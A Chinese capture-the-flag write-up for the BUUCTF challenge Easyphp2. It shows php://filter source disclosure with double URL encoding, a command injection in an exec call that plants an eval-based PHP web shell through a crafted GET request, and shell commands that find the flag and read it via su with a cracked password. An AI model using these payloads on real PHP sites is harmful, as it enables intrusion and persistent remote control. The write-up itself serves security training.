BUUCTF--[羊城杯 2020]Easyphp2

进入后的页面

根据题目提示我们可以知道这是一道PHP代码审计的题
所以使用伪协议查看源代码,这里使用的是两次url编码绕过

/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
/?file=php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=GWHT.php

    
    
    
    

    




 

    '.''.'
'.'
'.'
'.'404'.'
'.'
'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    
A Counter is here, but it has someting wrong

    

        
        

        
    

    The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "";
    }
    ?>

 通过dirsearch可以扫描到robots.txt,访问后得到提示Disallow: /?file=check.php
方式同上,读出check.php源代码

通过抓包可以发现这里有一个pass,将pass值改为GWHT

 进入页面

通过测试可以发现文本框的内容会赋值给变量count,写入shell

GET /?file=GWHT.php&count=%27|echo+%22%3C%3f%3d+eval(\$_POST[%27shell%27])%3f%3E%22+%3E+a.php%27 HTTP/1.1
Host: 174cd32e-be2a-41e5-a3e7-124aaf2725c2.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __gads=ID=dba6f7a66ae86f43-221c60c18aca00f0:T=1627297878:RT=1627297878:S=ALNI_MbI5-rMqeTxlBOZM6dYbuPQYKJXrA; _ga=GA1.2.2033922412.1627151023; UM_distinctid=17aa37f4bb47-06e4af13a3c9a28-30634644-c0000-17aa37f4bb543f;
pass=GWHT
Upgrade-Insecure-Requests: 1

访问/a.php,连接蚁剑,查找flag文件find / -name "flag*",发现属性为0440,我们没有权限打开

 在同目录下发现readme文件,内容为HASH值

 解密后为GWHTCTF,在终端执行命令
用户名:GWHT   密码:GWHTCTF

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'